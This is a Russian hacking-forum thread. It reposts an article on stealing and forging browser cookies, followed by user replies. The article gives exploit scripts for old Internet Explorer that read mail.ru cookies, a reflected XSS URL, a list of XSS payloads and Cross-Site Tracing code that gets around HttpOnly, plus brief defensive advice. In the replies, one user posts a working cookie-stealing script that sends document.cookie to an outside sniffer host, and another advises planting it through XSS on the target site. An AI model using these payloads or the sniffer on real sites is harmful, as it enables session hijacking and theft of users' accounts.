Статьи Фальсификация cookie

Обсуждение в разделе «Статьи», начал(-а) k00p3r, 13.07.2005.

  1. k00p3r

    k00p3r Banned

    Регистрация:
    31.05.2005
    Сообщения:
    436
    Одобрения:
    7
    Репутация:
    1
    Оглавление

    1 Описание технологии cookie
    1.1 Что такое cookie?
    1.2 Применение cookie
    1.3 Установка cookie
    1.4 Чтение cookie

    2 Способы фальсификации cookie
    2.1 Общая информация
    2.2 Методы фальсификации
    2.2.1 Уязвимость броузера
    2.2.2 Уязвимость Internet ресурса
    2.2.3 Особое мнение
    2.3 Обзор XSS
    2.4 Хищение cookie при помощи Trace
    2.5 Безопасность технологии .NET

    3 Способы защиты cookie


    -------------------------------------------------------------------

    1 Описание технологии cookie.

    1.1 Что такое cookie?

    Cookie является решением одной из наследственных проблем HTTP спецификации. Эта проблема заключается в непостоянстве соединения между клиентом и сервером, как при FTP или Telnet сессии, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Включение cookie в HTTP протокол дало частичное решение этой проблемы.

    Cookie - это некое значение в текстово-цировом виде, которое сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии и удаляются после закрытия браузера. Другие, установленные на некоторый период времени, записываются в файл. Вот как выглядит схема работы удаленного хоста и клиента через Интернет:
    [​IMG]
    Сами по себе cookies ничего не могут делать. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия.

    Клиент имеет следующие ограничения для cookies:
    всего может храниться до 300 значений cookies
    каждый cookie не может превышать 4Кбайт
    с одного сервера или домена может храниться до 20 значений cookies

    В случае, если cookie принимает новое значение при имеющемся уже в броузере cookie с совпадающими данными, старое значение затирается новым. В остальных случаях новые cookies добавляются.

    1.2 Применение cookie.

    Ипользование cookie - эффективное решение сохранения пользователькой информации. Многие считают их опасными, якобы они могут заразить компьютер вирусом или украсть их пароль подключения к Интернету. Как ни странно это утверждение является ошибочным. Но считать cookie безопасными тоже нельзя. Для примера приведу несколько примеров их использования и их "опасности":

    1 Вы пользуетесь почтой с WEB интерфейсом. Чтобы не вводить пароль при каждом входе на ваш почтовый ящик, вы ставите галочку возле надписи "Сохранить пароль". Вследствии чего иформация с вашим логином и паролем сохраняется в cookie и при каждом входе на почту пароль и логин установлятся автоматически.

    2 Похожий пример можно привести и с Интернет магазинами. Заполнив форму с данными о вашей кредитной карточке они сохраняются и при следующей покупке вам не придется заполнять все заново.

    Это удобно с точки зрения пользователя, но о безопасности данной технологии не может быть и речи. Хотя некоторые методы защиты все-таки используются:
    Информация из Cookie одного домена второго уровня (плюс подуровни) не может быть прочитана другими доменами.
    Если документ кэшируется, то информация о cookie не кэшируется.
    Информация Cookie может передаваться с помощью протокола SSL.

    1.3 Установка cookie.

    Установка cookie делается посредствам HTTP протокола. Например, клиент получив от сервера строку:

    Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE

    "Запомнит", что для сервера domain_name необходимо установить значение переменной name в value. Вот краткое описание значения каждой переменной:

    NAME=VALUE - строка символов, исключая перевод строки, запятые и пробелы. NAME-имя cookie, VALUE - значение.

    expires=DATE - время хранения cookie, т.е. вместо DATE должна стоять дата в формате Wdy, DD-Mon-YYYY HH:MM:SS GMT, после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия броузера.

    domain=DOMAIN_NAME - домен, для которого значение cookie действительно. Например, domain=domen.com. В этом случае значение cоokie будет действительно и для сервера domen.com, и для www.domen.com. Но не радуйтесь, указания двух последних периодов доменных имен хватает только для доменов иерархии "COM", "EDU", "NET", "ORG", "GOV", "MIL", и "INT". Для доменов иерархии "RU" придется указывать три периода.

    Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, с которого было выставлено значение cookie.

    path=PATH - этот атрибут устанавливает подмножество документов, для которых действительно значание cookie. Например, указание path=/win приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа wind.html и windows.shtml

    Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено cookie.

    secure - если стоит такой маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL). Если этот маркер не указан, то информация пересылается обычным способом.


    Разные языки программирования предлагают свою реализацию изменения cookie. Давайте рассмотрим некоторые из них:

    1. HTML позволяет изменить значения печеньек(именно так переводится слово "cookie") так:
    <META HTTP-EQUIV="Set-Cookie" CONTENT="name=john; EXPIRES=Friday,31-Dec-02
    23:59:59 GMT; DOMAIN=server.ru; PATH=/users/; SECURE">

    2. Реализация на Perl:
    print "Set-Cookie: name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
    path=/users/; domain=server.ru;\n\n";

    3. То же на JavaScript:
    document.cookie="name=john; expires=Friday,31-Dec-02 23:59:59 GMT;
    path=/users/; domain=server.ru;";

    1.4 Чтение cookie.

    Чтобы прочитать скриптом значение cookie, которое было установлено ранее, и соответствующим образом выполнить скрипт, используется переменная окружения HTTP_COOKIE.

    1. На Perl это будет выглядеть так:
    PHP:
    $cookie $ENV{'HTTP_COOKIE'};
    2. При использовании SSI для просмотра значения cookie можно применить директиву:
    PHP:
     <!--#echo var="HTTP_COOKIE"-->
    3. JavaScript может прочитать значение использовав свойство обьекта document:
    PHP:
     var strCokie=document.cookie;
    Когда запрашивается документ с HTTP сервера, броузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае, если найдены удовлетворяющие всем условиям значения cookie броузер посылает их в серверу в виде пары имя/значение:
    Cookie: name=john;
    После всего это неискушенному пользователь может показатся, что опасности в данной технологии нет. Но это только на первый взгляд...

    2 Способы фальсификации cookie.

    2.1 Общая информация.
    Подменить Cookie намного проще, чем их прочитать. Хотя если речь идет о удаленном компьютере, то задачи становятся равносильными. Дело в том, что подмена - это простая отправка Cookie на сервер, а чтение разрешено только серверу. Для реализации чтения используется так называемая технология Cross Site Scripting(СSS или XSS, назван так, чтобы избежать путаницы с CSS, aka Cascade Style Sheets). По заявлению "Panda Software Russia" данная уязвимость присутствует в следующих браузерах:
    Mozilla (версии до 0.9.7.)
    Netscape (версии до 6.2.1.)
    MS Internet Explorer (5.5 и 6.0.)

    Я считаю, этого достаточно, так-как это самые распространенные браузеры в сети Интернет. Cross Site Scripting можно осуществить через уязвимость в броузере или некорректное Web програмирование. Давайте рассмотрим все по порядку.

    2.2 Методы фальсификации

    XSS имеет два варианта реализации:

    A: Уязвимость броузера
    B: Уязвимость Internet ресурса

    Каждый выбирает свой вариант, в зависимости от конкретной ситуации. Атака через уязвимость в броузере удобна ее универсальностью по отношению к Web ресурсам. В то же время она не будет эффективна, если пользователь использует иной броузер(а иногда и другую его версию). Уязвимость Internet ресурса - наоборот, безразлична к броузеру, но работает только с одним сайтом.

    2.2.1 Уязвимость броузера

    Буквально всю первую половину 2002 года на BUGTRAQ, почти ежедневно, поступали сообщения о уязвимостях Internet Explorer и других броузеров. На данный момент последнее, насколько мне извесно, известие за 24.10.2002 гласит:

    "При передаче данных между окнами броузер проверяет, находятся ли они в одной зоне безопасности и в одном домене. Всего компания GreyMagic Security нашла девять способов обойти проверку и все они связаны с кэширование объектов....
    PHP:
    <script>
    var 
    oWin=open("blank.html","victim","width=100,height=100");
    var 
    fVuln=oWin.document.getElementByIdlocation.href="http://www.mail.ru";

    setTimeout(
    function(){
    alert(fVuln("ElementIdInNewDoc").document.cookie);
    }
    ,
    3000);

    </script>
    IE 5 SP2 и IE6 SP1 не уязвимы."

    Как видно IE5-SP2 и IE6-SP1 не уязвимы. Для них есть другой експлоит за 16.10.2002:

    "Элементы <frame> и <iframe> могут содержать URL других доменов или протоколов, поэтому для них созданы более строгие правила защиты, которые предотвращают доступ из фрейма одного домена к содержанию другого домена.

    Есть несколько способов обратится к <iframe> (или <frame>) документам в Internet Explorer (<iframe id="oFrameId">):
    oFrameId.document
    document.all.oFrameId.contentWindow.document
    frames.oFrameId.document
    И другие

    Все эти методы правильно обрабатываются Internet Explorer и он предотвращает любую попытку обращения к документу, который принадлежит другому домену.

    Однако Microsoft пропустил одно важное свойство - "Document". Обнаружено, что когда используется "oIFrameElement.Document", и возращенный документ содержится внутри frame, не происходит никаких проверок защиты, находится ли документ в другом домене. Уязвимость позволяет атакующему получить доступ к DOM другого домена, и украсть cookie любого сайта, читать локальные файлы и выполнять произвольный код на системе клиента.

    Пример (читает cookie mail.ru):
    PHP:
    <script
    onload=function () { 
    setTimeout
    function () { 
    alert(document.getElementById("oVictim").Document.cookie); 
    }, 
    100 
    ); 

    </script> 
    <iframe src="http://www.mail.ru" id="oVictim"></iframe>
    Уязвимость обнаружена в Internet Explorer 5.5sp2-6.0."
     
  2. k00p3r

    k00p3r Banned

    Регистрация:
    31.05.2005
    Сообщения:
    436
    Одобрения:
    7
    Репутация:
    1
    Продолжение

    Как можно использовать эти уязвимости? Вот один из возможных сценариев. Некий пользователь имеет почту на www.mail.ru. Поставив галочку "Сохранить пароль", все его данные сохраняются в cookies. Теперь есть два варианта развития сценария:

    1. Если есть физический или удаленный доступ к компьютеру.
    2. Если доступа нет.

    Для первого варианта нам просто нужно запустить експлоит. Для второго варианта нужен способ заставить пользователя запустить скрипт. Именно тут и возникает вопрос эффективности данного метода. При отсутствии физического или удаленного доступа к компьютеру надежнее использовать Уязвимость Internet ресурса. И наоборот. Схема "захвата" cookie имеет такой вид:
    [​IMG]
    При необходимости эти данные можно перенести на другой компьютер или изменить. Делается это следующим образом:
    PHP:
    <script
    onload=function () {
    setTimeout
    function () { 
    document.getElementById("oVictim").Document.cookie="name=value"
    }, 
    100 
    ); 

    </script> 
    <iframe src="http://www.mail.ru" id="oVictim"></iframe>
    Cookie можно не изменять, а послать запрос на сервер с уже измененными данными:
    GET /URL HTTP/1.0
    Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE

    2.2.2 Уязвимость Internet ресурса

    Уязвимость Internet ресурса - это некая уязвимость некорректно написаного скрипта(PHP, Perl/CGI, Phyton... ). В данном случае нас интересует отсутствие фильтрации передаваемых параметров или ее слабая реализация.
    Реальным примером может стать недавнее упоминание о уязвимости на www.mail.ru:
    "Пользователи mail.ru, могут подвергнутся некому риску. Дело в том, что запрос вида http://win.mail.ru/cgi-bin/sendmsgok?To=text&Subject=text не проверяет значения передаваемых данных на Java Script. Это дает возможность злоумышленнику прочитать cookie пользователя..."

    Чтение cookie, следовательно можно использовать так:
    http://win.mail.ru/cgi-bin/sendmsgok?Subject=<SCRIPT>alert('XSS')</SCRIPT>

    Замечу, что данный метод неуместен если на сервере нет уязвимостий или они неизвестны.
    2.2.3 Особое мнение

    Некоторые способы имеют приоритет, но только в определенных ситуациях. Выбор метода остается за атакующим и зависит от конкретной ситуации.

    2.3 Обзор XSS

    При использовании уязвимости Internet ресурса можно применить список различных тегов, выполняющих одинаковые действия - выводящие сообщения "XSS":

    <SCRIPT>alert('XSS')</SCRIPT>

    <SCRIPT src="http://www.host.com/script.js"></SCRIPT>
    (http://www.host.com/script.js путь к внедренному скрипту)

    <BODY onLoad="alert('XSS')">

    <LAYER src="http://www.host.com/script.js"></LAYER>
    (http://www.host.com/script.js путь к внедренному скрипту)

    <ILAYER src="http://www.host.com/script.js"></ILAYER>
    (http://www.host.com/script.js путь к внедренному скрипту)

    <LINK rel=stylesheet type="text/javascript" SRC="http://www.host.com/script.js">
    (http://www.host.com/script.js путь к внедренному скрипту)

    <IMG SRC="image.jpg" onError="alert('XSS')">
    (image.jpg не существует)

    <IMG SRC="JavaScript:alert('XSS')">

    <IMG SRC="image.jpg" onLoad="alert('XSS')">
    (image.jpg существует)

    <META HTTP-EQUIV="Refresh" content ="1; URL=JavaScript:alert('XSS')">

    <STYLE TYPE="text/css">
    @import url(http://www.host.com/script.js);
    </STYLE>
    (http://www.host.com/script.js путь к внедренному скрипту)

    <STYLE type="text/javascript">alert('XSS');</STYLE>

    <p style="left:expression(eval('alert(\'XSS\')'))">

    2.4 Хищение cookie при помощи Trace

    С выходом SP1 (Октябрь 2002) должна была исчезнуть уязвимость XSS в броузере Internet Explorer. Действительно, чтение cookie стало невозможным. Теперь при попытке обращения к cookie, броузер возвращал вместо значения пустую строку. Давайте взглянем на следующий пример:
    PHP:
    <script>
    function 
    normalCookie() {
      
    document.cookie "Cookie=Value";
      
    alert(document.cookie);
    }

    function 
    httpOnlyCookie() {
      
    document.cookie "Cookie=Value; httpOnly";
      
    alert(document.cookie);
    }
    </script>
             
    <FORM>
    <INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE="Display Normal Cookie">
    <INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE="Display HTTPONLY Cookie">
    </FORM>
    Нажав на первую кнопку мы увидим значение переменной document.cookie.
    [​IMG]
    А при попытке обращения к document.cookie с установленным флагом HttpOnly броузер возвращает пустую строку:
    [​IMG]
    Казалось бы, данная технология должна обеспечить безопасность конфиденциальных данных. Но 1 Ноября 2002 года Jeremiah Grossman из WhiteHat предложил свой сценарий получения доступа к cookie.

    Для понимания дальнейшего материала необходимо ознакомится с методом запроса "Trace".

    Метод TRACE используется для получения ответного сообщения на запрос на уровне приложения. Конечному получателю запроса СЛЕДУЕТ отразить полученное сообщение обратно клиенту как объект ответа с кодом состояния 200 (OK). Конечным получателем является либо сервер, либо первый прокси-сервер, либо первый шлюз, получивший нулевое значение (0) в поле Max-Forwards в запросе. TRACE позволяет клиенту видеть, что получается на другом конце цепочки запросов и использовать эти данные для тестирования или диагностической информации. Если запрос успешно выполнен, то ответу СЛЕДУЕТ содержать все сообщение запроса в теле объекта (entity-body), а Content-Type следует быть равным "message/http". Ответы на этот метод не кэшируются.
    Иными словами TRACE возвращает пользователю те данные которые были отосланы в запросе. Он состоит из следующих данных:

    1. Строка запроса (Request line)
    2. Заголовки (Headers)
    3. Отсылаемые данные (Post data)

    Apache, IIS и iPlanet поддерживают по умолчанию запрос TRACE согласно протоколу HTTP/1.1. Давайте взглянем как происходит запрос TRACE:
    [digitalscream@planet]$ telnet mail.ru 80
    Trying 194.67.57.51...
    Connected to mail.ru.
    Escape character is ‘^]’.
    TRACE / HTTP/1.1
    Host: mail.ru
    X-Header: test

    HTTP/1.1 200 OK
    Date: Tue, 04 Feb 2003 16:11:06 GMT
    Server: 3WservRT 2001,VxWorks 5.4
    Transfer-Encoding: chunked
    Content-Type: message/http

    TRACE / HTTP/1.1
    Host: mail.ru
    X-Header: test

    WhiteHat предложили список серверов, которые поддерживают запрос TRACE:
    www.passport.com
    www.yahoo.com
    www.disney.com
    www.securityfocus.com
    www.redhat.com
    www.go.com
    www.theregister.co.uk
    www.sun.com
    www.oracle.com
    www.ibm.com

    От себя добавлю, что и www.mail.ru можно смело добавить в этот список.

    Поскольку наша цель это - чтение cookie, значит использование document.cookie нам не принципиально. Поскольку значения cookie передаются на сервер вместе с запросом, то становится ясна возможность использования запроса TRACE для наших темных дел. Но заставить броузер отправить запрос TRACE не так просто, потому как он использует в качестве метода запроса POST или GET. Для обхода этих ограничений и посылки специально отформатированного HTTP запроса на целевой сервер, необходима расширенная технология скриптов на клиентском компьютере. Некоторые технологии позволяют нам добиться необходимых результатов. Jeremiah Grossman предложил использовать ActiveX - XMLHTTP:
    [/PHP]<script>
    function sendTrace () {
    var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    xmlHttp.open("TRACE", "http://mail.ru",false);
    xmlHttp.send();
    xmlDoc=xmlHttp.responseText;
    alert(xmlDoc);
    }
    </script>
    <INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">
    PHP:
    Результатом будет следующее сообщение:
    [
    IMG]http://www.uinc.ru/articles/40/trace3.jpg[/IMG]
    Используя ActiveX компонент XMLHTTPмы отсылаем запрос TRACE на целевой web серверЕсли есть поддержка TRACEброузер покажет данные отосланные вместе с HTTP запросомInternet Explorer отсылает по умолчанию данныеа JavaScript выводит окно с содержанием HTTP запросаЕсли ваш браузер имеет cookie от удаленного сервераили находится на сервере используя WEB авторизациюто следовательно данные могут быть перехвачены злоумышленникомЭта технология гарантирует обход атрибута "HttpOnly"потому что не используется функция document.cookieНо самое страшное точто от CROSS-SITE TRACING не спасает даже SSLНа данном этапе важно осознать две вещи.

    1 Данная технология поддерживается Internet Explorer
    2 Mozilla/Netscape воспринимают такие cookieкак обычные

    При использовании TRACE запрос должен исходить со скрипта принадлежащего одному домену с целевым серверомТакскрипт который посылает запрос TRACE и соединяется с mail.ru должен принадлежать серверу mail.ruТехнология доменных ограничений помогает защитить пользователей от XSSДля обхода данного ограничения существуют два вариантаXSS в контексте броузера или сервераЕсли возможность XSS присутствует на серверето предыдущий сценарий и будет эксплоитомА для использования изъянов в броузере нужно воспользоваться таким сценарием:

    1 Создание эксплоита для получения доступа в другую доменную зону (в принципе этого хватает если не используется флаг "НttpOnly"). 
    2 Задание в качестве исполняемого кода сценария запроса TRACE

    Для примера воспользуемся изъяномобнаруженным GreyMagic Security.
    [
    PHP]<script>
    function 
    xssDomain() {
    var 
    oWin=open("blank.html","victim","width=500,height=400");
    var 
    oVuln=oWin.external;
    oWin.location.href=”http://mail.ru”;
    setTimeout(
    function () {
    oVuln.NavigateAndFind(‘javascript:
    xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”);
    xmlHttp.open(“TRACE”,”http://mail.ru”,false);
    xmlHttp.send();
    xmlDoc=xmlHttp.responseText;
    alert(xmlDoc);
    ,””,””);
    }
    ,
    2000);
    }
    </script>
    <INPUT TYPE=BUTTON OnClick=”xssDomain();” VALUE=’TRACE XSS Domain’>
    }
    Данный пример не будет работать если установлен патч MS02-068. Но, тем не менее, вот следующий пример, работающий даже после установки патча:
    PHP:
    <script>
    function 
    xssDomainTraceRequest(){
    var 
    exampleCode "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;
    xmlHttp.open(\"TRACE\",\"http://mail.ru\",false)\;
    xmlHttp.send()\;
    xmlDoc=xmlHttp.responseText\;
    alert(xmlDoc)\;"
    ;
    var 
    target "http://mail.ru";
    cExampleCode encodeURIComponent(exampleCode ';top.close()');
    var 
    readyCode 'font-size:expression(execScript(decodeURIComponent("' cExampleCode '")))’;
    showModalDialog(target, null, readyCode);
    }
    </script>
    <INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE=”Show Cookie Information Using TRACE”>
    Тут используется уязвимость функции showModalDialog. Уязвимость была найдена Larholm'ом, который, кстати, указывает, что ничего нового в этой технологии нет, а представляет она собой только несколько переиначенную уязвимость XSS. В самом описании он говорит, что это - "hyped, sensationalised snakeoil". Впрочем, другой исследователь безопасности, Peter Watkins, придерживается противоположного мнения, указывая, что указанная особенность работает и в броузере Mozilla.

    2.5 Безопасность технологии .NET

    Хорошим тоном программирования считается удалять из памяти некоторые данные если они длительное время не используются. Это относится и к данным cookie. Эти меры предосторожности необходимы для защиты конфиденциальной информации. Ведь аттакующему может удастся прочитать их используя уязвимости типа Buffer Overflow, Buffer Overrun, или прочитав дамп web приложения при его аварийном завершении... . Для примера давайте взглянем на программу написанную на Microsoft Visual C++® .NET и определим есть ли в ней ошибки.
    PHP:
    BOOL DoStuff() {
    char pPwd[128];
    size_t cchPwd sizeof(pPwd) / sizeof(pPwd[0]);

    BOOL fOK false;

    if (
    GetPassword(pPwd, &cchPwd)) 
    fOK DoSecretStuff(pPwdcchPwd);

    memset(pPwd0sizeof(pPwd));

    return 
    fOK;
    }
    Ошибок здесь нет. Пользовательский пароль запрашивается(например с cookie) проверяется и сразу уничтожается(заполняется нулями). Но в ходе работы программой используется функция mempy или strcpy, что при некоторых ситуациях создает угрозу аттаки Buffer Overrun или что-то вроде этого. Казалось бы, никаких проблем с безопасностью пароля быть не может, ведь он обнуляется. Но давайте взглянем на откомпилированный код:
    PHP:
    ?DoStuff PROC NEAR
    Line 14
    sub esp
    68       00000044H
    mov eax
    DWORD PTR ___security_cookie
    xor eaxDWORD PTR __$ReturnAddr$[esp+64]
    push esi
    mov DWORD PTR __$ArrayPad
    $[esp+72], eax
    Line 19
    lea eax
    DWORD PTR _pPwd$[esp+72]
    push 64       00000040H
    push eax
    xor esiesi
    call 
    ?GetPassword 
    add esp
    8
    test eax
    eax
    je SHORT $L30117
    Line 20
    push 64       
    00000040H
    lea ecx
    DWORD PTR _pPwd$[esp+76]
    push ecx
    call 
    ?DoSecretStuff
    add esp
    8
    pop esi
    Line 25
    mov ecx
    DWORD PTR __$ArrayPad$[esp+68]
    xor 
    ecxDWORD PTR __$ReturnAddr$[esp+64]
    add esp68       00000044H
    jmp 
    @__security_check_cookie@4
    $L30117
    :
    mov ecxDWORD PTR __$ArrayPad$[esp+72]
    xor 
    ecxDWORD PTR __$ReturnAddr$[esp+68]
    mov eaxesi
    pop esi
    add esp
    68       00000044H
    jmp 
    @__security_check_cookie@4
    ?DoStuff ENDP
    Чего-то не хватает? Оптимизатор удалил строку "memset(pPwd, 0, sizeof(pPwd));"! Следовательно пароль все время хранится в памяти. Далее остается дело за проффесионалами. Этот способ позволяет и читать cookie с установленным флагом httpOnly. Но аттака предложенная Michael'ом Howard'ом слишком сложна в реализации и поэтому данный способ -- малоэффективен. Но возможно, при таком интенсивном развитии в области информационных технологий, это будет единственный способ получения конфиденциальной информации, несмотря на простое решение данной проблеммы:
    PHP:
    #ifndef FORCEINLINE
    #if (MSC_VER >= 1200)
    #define FORCEINLINE __forceinline
    #else
    #define FORCEINLINE __inline
    #endif
    #endif

    ...

    FORCEINLINE PVOID SecureZeroMemory(
      
    void *ptrsize_t cnt) {
      
    volatile char *vptr = (volatile char *)ptr;
      while (
    cnt) {
        *
    vptr 0;
        
    vptr++;
        
    cnt--;
      }
      return 
    ptr;
    }
    Данный пример -- функция очистки области памяти. Его преимущество в "неоптимизации", хотя такой код проиграет по скорости работы. Еще одним хорошим решением будет выключение оптимизации:

    #pragma optimize("g",off)

    3 Способы защиты cookie

    Как выход из сложившегося положения - шифрование данных. Этот способ не поможет при попытке подмены cookie, но эффективен при попытках чтения данных.
    При написании WEB приложений важно не забывать о таких вещах как:
    флаг httpOnly
    фильтрация входных данных
    шифрование на основе открытого и приватного ключей. (Шифрование наподобие XOR малоэффективно)

    Более детально все описано в самом документе.
    Наша безопасность зависит только от нас самих и только мы определяем какой ее уровень является необходимым. Я не пытаюсь развить у вас чувство паранои но и быть легкомысленным тоже не стоит...

    Отдельное спасибо uinC Team за поддержку.
    Использованние материала разрешено только при условии указания автора и источника.

    [c] DigitalScream, (digitalscream@userline.ru)

    Статья написана специально для UInC (http://www.uinc.ru).
     
  3. Favorskij

    Favorskij New Member

    Регистрация:
    21.06.2009
    Сообщения:
    7
    Одобрения:
    0
    Репутация:
    0
    Подскажи пожалуйста Вот у меня есть сниф вот такой:
    <script>img = new Image(); img.src = "http://sniffer.xaknet.ru/smiles/img_3_1487.gif?"+document.cookie;</script>
    и вот такой есть:
    <script>img = new Image(); img.src = "http://sniffer.xaknet.ru/smiles/img_3_1487.gif?"+document.cookie; // здесь ваш код для кражи кукис
    // редирект через 3 сек.
    var URL = "http://images.cards.mail.ru/11bolprivet.jpg" // адрес открытки, если хотите, можете изменить на свой =)
    var speed = 3000
    function reload() {
    document.location = URL
    }
    setTimeout("reload()", speed);
    </script>
    Так вот- IP, Host, User agent приходят а Referer, Query Stringнет. Почему не подскажешь?
    Раньше как я только попробывал пару раз, они все полностбю приходили а теперь не приходят.Я как только не проверял и всеровно не приходят. Подскажи пожалуйста или может кто нибуть другой знает как?
     
  4. ZnikiR

    ZnikiR New Member

    Регистрация:
    14.01.2009
    Сообщения:
    185
    Одобрения:
    21
    Репутация:
    0
    Ты дожен юзать через xss или заставить вставить этот скрипт в строку браузера на сайте от которого ты хочешь получить куки(только там она немного изменена должна быть,)
     
  5. Lord_BuKTOP

    Lord_BuKTOP Banned

    Регистрация:
    14.06.2009
    Сообщения:
    42
    Одобрения:
    2
    Репутация:
    0
    Есть сайт. есть куки которые он выдаёт.

    как заставить 3-4 компа из сетки, логинится на сайте, брать кукис.
    при запросе с любого из компов у них должен висеть один кукис.
    вроде ясно обьяснил...


    Короч.
    Логин на сайте -> получение кукис.
    повторный логин не разрешён (уже прикрыли.)
    сессия (кукисы) действительны 30минут с момента последнего действия.
    если вручную забить кукисы полученные компом, в браузер на другом компе.
    то разово пускает на сайт, иногда не разово. но это фигня.

    нужен постоянный доступ на сайт.

    можно ли осуществить то что я хочу. вручную/спец.софтом/скриптом на каком либо языке?

    заранее благодарю за ответ.
     
  6. Lord_BuKTOP

    Lord_BuKTOP Banned

    Регистрация:
    14.06.2009
    Сообщения:
    42
    Одобрения:
    2
    Репутация:
    0
    Проблему решил иначе. забил данные для логина к сайту в оффлайн браузер. браузер скачивает в общую папку. а компы все с ярлыка юзают локально сохранённый сайт.
     
  7. monz

    monz New Member

    Регистрация:
    31.07.2009
    Сообщения:
    15
    Одобрения:
    0
    Репутация:
    0
    Столкнулся с такой проблемой. Не могу отловить снифом заголовки ответа где приходят куки, и так же само СURL их тоже не ловит. Одна кука ставить через JAVA скрипт, ее я подставляю, а от вторая уже ставится непонятно как - через браузер устанавливается а сниф не видит.
    Получаю такие заголовки ответа:
    PHP:
    Server    nginx/0.5.17 
    Date    Sun
    11 Apr 2010 14:43:07 GMT 
    Content
    -Type    text/html Transfer-Encoding    chunked Connection    keep-alive 
    Keep
    -Alive    timeout=40 
    X
    -Powered-By    PHP/5.2.9 
    Last
    -Modified    Sun11 Apr 2010 14:43:07 GMT 
    Expires    Thu
    01 Jan 1970 00:00:01 GMT 
    Cache
    -Control    no-cache
    Может кто уже сталкивался с такой защитой и знает как обойти?
     
Загрузка...
Похожие темы
  1. Ответы:
    6
    Просмотры:
    1 081
  2. Ответы:
    5
    Просмотры:
    1 415
  3. Ответы:
    4
    Просмотры:
    782
  4. Ответы:
    1
    Просмотры:
    1 541
  5. Ответы:
    7
    Просмотры:
    1 878